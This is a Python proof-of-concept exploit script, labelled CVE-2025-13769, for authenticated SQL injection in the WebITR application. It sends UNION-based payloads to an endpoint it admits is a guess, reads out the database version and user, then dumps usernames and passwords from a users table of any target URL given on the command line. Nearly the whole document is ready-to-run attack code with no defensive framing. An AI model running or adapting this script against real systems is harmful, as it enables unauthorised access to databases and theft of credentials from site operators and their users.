CVE-2025-13769

# CVE-2025-13769 PoC - WebITR SQL Injection # Authenticated attacker can inject arbitrary SQL commands # Target: WebITR application by Uniong import requests import sys from urllib.parse import urljoin def exploit_sql_injection(target_url, session_cookie): """ Exploit SQL injection in WebITR to extract database contents """ headers = { 'Cookie': f'SESSION={session_cookie}', 'Content-Type': 'application/x-www-form-urlencoded' } # Vulnerable endpoint - adjust based on actual application structure vuln_endpoint = urljoin(target_url, '/api/user/query') # SQL Injection payload to extract database version # Using UNION-based injection technique payload = { 'username': "admin' UNION SELECT NULL,version(),user(),database()-- -", 'search_param': 'id' } print(f"[*] Targeting: {target_url}") print(f"[*] Injecting payload: {payload}") try: response = requests.post(vuln_endpoint, data=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response preview: {response.text[:500]}") # Extract sensitive data from response # Parse database version, user, and database name if 'MySQL' in response.text or 'PostgreSQL' in response.text: print("[!] SQL Injection successful - database info leaked") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False def extract_users(target_url, session_cookie): """ Extract user credentials from database """ headers = { 'Cookie': f'SESSION={session_cookie}', 'Content-Type': 'application/x-www-form-urlencoded' } # Payload to extract user table data payload = { 'username': "admin' UNION SELECT NULL,username,password,NULL FROM users-- -", 'search_param': 'id' } vuln_endpoint = urljoin(target_url, '/api/user/query') try: response = requests.post(vuln_endpoint, data=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] User data extraction response: {response.text[:500]}") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <session_cookie>") print(f"Example: {sys.argv[0]} https://vulnerable-site.com/ 'abc123session'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] # Step 1: Verify SQL injection vulnerability exploit_sql_injection(target, cookie) # Step 2: Extract sensitive data extract_users(target, cookie)

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